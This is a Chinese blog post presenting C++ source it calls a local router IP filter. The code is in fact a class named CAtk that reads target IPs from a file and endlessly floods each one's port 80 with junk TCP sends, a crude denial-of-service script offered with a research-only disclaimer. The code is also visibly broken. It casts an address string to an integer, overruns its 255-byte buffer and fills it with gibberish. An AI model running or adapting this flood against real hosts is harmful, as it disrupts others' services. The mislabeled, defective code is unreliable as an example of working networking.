本地路由的ip过滤器完成了 不要用公有服务器挂载,只供大家程序研究观看

////////////////////////////我有windows开发者 免责/////////////////////////////// 编译 release ’发布版本‘

 

#include<Windows.h>
#include<stdlib.h>
#pragma comment(lib,"WS2_32.lib")
#include <corecrt_wstdlib.h>
#include <iostream>
#include<stdio.h>
#include <Windows.h>
#include<list>
#include<iostream>
#include<istream>
#include<ostream>
#include <fstream>
#include<string>
using namespace std;


////////////////////////////////////////////////////////////


// GLOBALE DATa
class CAtk
{
public:
WSADATA wsd;
list<SOCKET> m_socket;

int retVal;//调用Socket函数的返回值
char buf[255];

CAtk() {};
~CAtk() {

};

void Init()
{
if (WSAStartup(MAKEWORD(2, 2), &wsd) != 0) {
printf("WSAStartup failed!\n");
}

sprintf_s(buf, "(*= -0.0f); bird man is is Pg 飠 & 烫烫 & 很甜懒子很园 4 / 0 / 7; *(-1)/=3*0.0000001f; ; 0 *; int 3; & Math_PI ';' ");

std::ifstream file("ip.txt");
std::string line;
Sleep(50);

 

 

 


if (!file.is_open())
{
printf("of load ip data ip is 本地网络队列 all_ip\n");

inster_List("127.0.0.1");
}
else
{
printf("of load ip data\n");
while (std::getline(file, line)) {

inster_List(line.c_str());
line.clear();
printf(line.c_str());
}
}

file.close();

};

void inster_List(const char* IP)
{
if (IP == "")
{
return;
}

SOCKADDR_IN ins;
ins.sin_addr.S_un.S_addr = ((ULONG)IP);
ins.sin_family = AF_INET;
ins.sin_port = htons(80);

SOCKET soc;
soc = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
connect(soc, (LPSOCKADDR)&ins, sizeof(ins));

if (INVALID_SOCKET == soc)
{
printf("socket failed!\n");
return;
}

m_socket.push_back(soc);

};


void loopSend()
{
list<SOCKET>::iterator it = m_socket.begin();
bool a = false;
AS:

if (it == m_socket.end())
{
it = m_socket.begin();

}

send(*it, buf, 257, 0);
recv(*it, buf, 255, 0);
recv(*it, buf, 255, 0);
recv(*it, buf, 255, 0);

if (a) {
recv(*it, buf, 255, 0);
sprintf_s(buf, "/17;");
recv(*it, buf, 255, 0);
a = false;
}
else
{
a = true;
recv(*it, buf, 255, 0);
sprintf_s(buf, "/7;");
send(*it, buf, 257, 0);
send(*it, buf, 257, 0);
}


send(*it, buf, 257, 0);
send(*it, buf, 259, 0);
send(*it, buf, 268, 0);
send(*it, buf, 257, 0);
recv(*it, buf, 257, 0);

it++;

Sleep(8);
goto AS;


};
};


CAtk g_atk;

int main()
{
g_atk.Init();
g_atk.loopSend();
return 0;
};

posted on 2024-11-23 10:08  草丛有头猪  阅读(1)  评论(1编辑  收藏  举报

导航